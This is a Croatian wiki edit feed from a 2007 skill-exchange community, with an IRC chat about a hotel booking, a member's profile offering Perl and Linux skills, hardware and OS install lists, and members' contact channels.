<libervisco> ja jos neznam.. vjerojatno nekom jeftinom za 25 eura..
<libervisco> ionako necemo bit u hotelu cijelo vrijeme :)
<seven_of_nine> ovako
<seven_of_nine>  prilicno dobar hotel  vam je ivka
<`h3x> a/s/l
<seven_of_nine>  nema  pogleda  ima 3 zvijezidce
<seven_of_nine>  al je  dobar
<linpp> vozdra
<drGspot> e linp CB-jashu stari :)
<linpp> bivsi ;)
<linpp> jel rade stanice oke'
<libervisco> ivka zvuci dobro, ali je 50 eura.. 
<drGspot> 7of9 spasio sam konverzaciju sa ri u editor...
<seven_of_nine> ok
<seven_of_nine>  ja sam munjana  za ovo
<seven_of_nine>  nego odo ja vanka partijanit
<drGspot> ono na razmjeni je zabiljezila stenografkinja anna (irc-logger)
<libervisco> http://www.hotel-ivka.com/
<libervisco> :)
<seven_of_nine>  vidimo se
<libervisco> cya seven_of_nine 
<seven_of_nine> cek mislim da tu ima moja slika nedje
<seven_of_nine> nema prije je bila
* seven_of_nine has quit IRC ("Leaving")
<libervisco> evo je http://www.startrekdesktopwallpaper.com/new_wallpaper/Star_Trek_Voyager_SevenOfNine_JerryRyan_desktopwallpaper_1280.jpg ;)
<libervisco> jk

<linpp> tko ti je ta, drGspot? :)
<drGspot> javaChatGirl
<drGspot> spojit chemo sa bizzar, pa ko zna...
<linpp> mozda se i znaju ;>
<libervisco> bbl
<linpp> cu


----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/SevenOfNine> {date: 2007-04-21 18:43:26 +0200}
Dobrica Pavlinuลกiฤ‡, dpavlin

Ne volim baลก naroฤito wiki-je. Ili barem ovaj :-)
* home page: http://www.rot13.org/~dpavlin/
* blog: http://blog.rot13.org/

Nudim:
* perl
* PostgreSQL
* Linux administracija
* neลกto malo networkinga

Traลพim:
* nove perspektive na probleme u drugim jezicima (u zamjenu nudim priliฤnu koliฤinu cinizma koji je rezultat 7+ godina u industriji)







----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DobriCA> {date: 2007-04-19 21:32:57 +0200}
full backup/clean install:
	1. irssa Sub 14.4: Sempron64,AM2, 512MB			(128graf), nVidia 61oo; win98se/te, 			win2oooProSP5, xpProHrSp1/2 				(diagnostika); Mandr{iva}ake Linux 			>=9.0 HRid bus_off 2.o; RedHat 				Linux 8Pro; 9; FedoraCore 3 x86_64  			; [Open]SuSE 7.2 Pro, 8, 9, 10 Ubuntu 			5.04, 6.o6lts, 6.1o; Debian GNU/Linux 			3.1r0{-5} amd64
----
------------------------------------------
----
	2. ivanIno VR Space 21.4: P4 {EM64T ?}, 			1024MB,	120GB, >845 intelChipset, 		win98te, {w2oooProSP5 ?}, 					winxpProHrSp1/2, Mandr{iva}ake Linux 		>=10.1Community, RedHat Linux 8Pro; 		9; FedoraCore 2, (3,4,5,6); [Open]SuSE 		7.2 Pro, 8, 9, 10 Ubuntu 5.04, 6.o6lts, 			6.1o; Debian GNU/Linux, 3.1r0{-5} 			amd64, MacOS X.4 x86, Canon Pixma 			IP43oo (i scaner, printa na CD, driver ?)
		BeOS 5.0 Max Personal Edition 3.xx
----
---------------------------------------
----

	3. neLa >28.4 PIII Celeron 256 MB graf 32 			MB graf nvidia samo CD-Rom ! 20 GB
		win98s.e. t.e. win2oooProSP5 (xp Pro 			HrSp1/2)--samo za detekciju hardware-a
		Mandrake Linux 8.0 HRid 0.9 (P1/32MB)
		Mandrake Linux 8.1 HRid 1.5
		Mandrake Linux 9.0 HRid 2.0 					bussines_office_home OpenOfficeEn
		RedHat 8; 9; FedoraCore (OpenRedHat) 		2, {3,4,5,6} (Open)?SuSE 7.2 Pro 				{8,9,10} Debian GNU Linux 3.1r0{-5}
		Ubuntu 4.1o, 5.04,{6.06 LTS(DVD),6.1o		(DVD)(7.04)}
		(neparticionirani prostor, buduce 				instalacije)
		OpenOffice od >=1.1.1b Hr (lin win)
		OpenOffice 2.1o (ima i bazu, security 			holes patched, new introduced)
		Opera 8.51 (8.54 ima bug), 9.1o 				(bittorrent client)
		Netscape Messenger 4.61 (trga zlocheste 		stvari)
		Mozilla FireFox 2.o.o._
		Mozilla thunderBird 1.7
		Mozilla Suite 1.7 (OpeNetscape 7.x)
----
-----------------------
----
driveri (lin, win,...)
vatroZid, anti: virus, crv, trojan, spyware, addware, rootkit, exploit, patch, serPac...
userLand: ลกminkanje, enciklopedije, atlasi, prevodioci, cad/cam, obrada texta, slika, crtanje, 
irc klijenti, java (pseudoChat), multimedija, dvd, divx, mp3, igre (ลกah, kuglice, kockice, logiฤke, ...)
----
-----------------------
----
	4. Koprivnjak: stari stroj: PII/233MHz 			128MB(96) Diamond 	Stealth 3D 4ooo 			Turbo intel chipset awe64 
	novi stroj: Athlon Palomino 16oo MHz 512 MB 	40 GB x 2
	spaljen osigurach/zener dioda ? u USB power 	5V krugu (ne rade usb tastature preko header 	zbog tog...)



----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/DrGspot/KumuLativ> {date: 2007-04-08 17:31:43 +0200}
PIII Celeron

256 MB

graf 32 MB graf  nvidia

samo CD-Rom

20 GB

win98s.e. t.e.

win2oooProSP5

(xpProHrSp1/2)--samo za detekciju hardware-a

Mandrake Linux 8.0 HRid 0.9 (P1/32MB)

Mandrake Linux 8.1 HRid 1.5

Mandrake Linux 9.0 HRid 2.0 bussines_office_home OpenOfficeEn

RedHat 8; 9; FedoraCore (OpenRedHat) 2, {3,4,5,6}

(Open)SuSE 7.2 Pro {8,9,10}

Debian GNU Linux 3.1r0{-5}

Ubuntu 4.1o, 5.04,{6.06 LTS(DVD),6.1o(DVD)(7.04)}

(neparticionirani prostor, buduce instalacije)

OpenOffice od >=1.1.1b Hr (lin win)

OpenOffice 2.1o (ima i bazu, security holes patched, new introduced)

Opera 8.51 (8.54 ima bug), 9.1o (bittorrent client)

Netscape Messenger 4.61 (trga zlocheste stvari)

Mozilla FireFox 2.o.o._

Mozilla thunderBird 1.7

Mozilla Suite 1.7 (Openetscape 7.x)
----
-----------
----
info za konTakt:

iskonChat:

http://chat.net.hr/index.jsp

user: drgspot

soba: Batak Bitak
      g33k-ovi (ex tehnologija)

pravi chat:

/server irc.freenode.net (posluzitelj)
/join #razmjenavjestina (kanal)

javaChat:

http://komunikator.tportal.hr/

soba: predsoblje

user: drGspot

(moguce ga je koristit i kao pravi chat (mIrc, X-chat, irssi,...)

activistichki mail
(ne cita se casto kao glavni): drgspot@net.hr

kolaboracijski tamtam(wiki)

http://www.razmjenavjestina.org/
http://www.razmjenavjestina.org/[RazmjenjivaciVjestina]
http://www.razmjenavjestina.org/[RazmjenjivaciVjestina]/[DrGspot]

forum:

http://www.voodoo-amiga.com/forum/

forum,hr podforum linux/unix:

http://www.forum.hr/forumdisplay.php?forumid=92

index,hr/forum/   podforum hw sw:

http://index.hr/forum/

----
----------------------------------------
----



----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/NeLa/NeLaInstalacija> {date: 2007-04-08 09:41:46 +0200}
[NeLaTrazi]

NeLaNudi

[NeLaInstalacija]




----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/NeLa> {date: 2007-04-07 17:34:02 +0200}
Bok ekipo trebam pomoc oko dizajna sajta udruge VRSpace www.vrspace.org! Brijem 1 sat posla da tu ima !


----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/IvanIno/IvanInoTreba> {date: 2007-04-06 14:13:11 +0200}
ajde!


----

"original"<http://www.razmjenavjestina.org/RazmjenjivaciVjestina/KlaudioS/KlaudioSjenekadBioKlaudioStefancic> {date: 2007-04-06 10:16:43 +0200}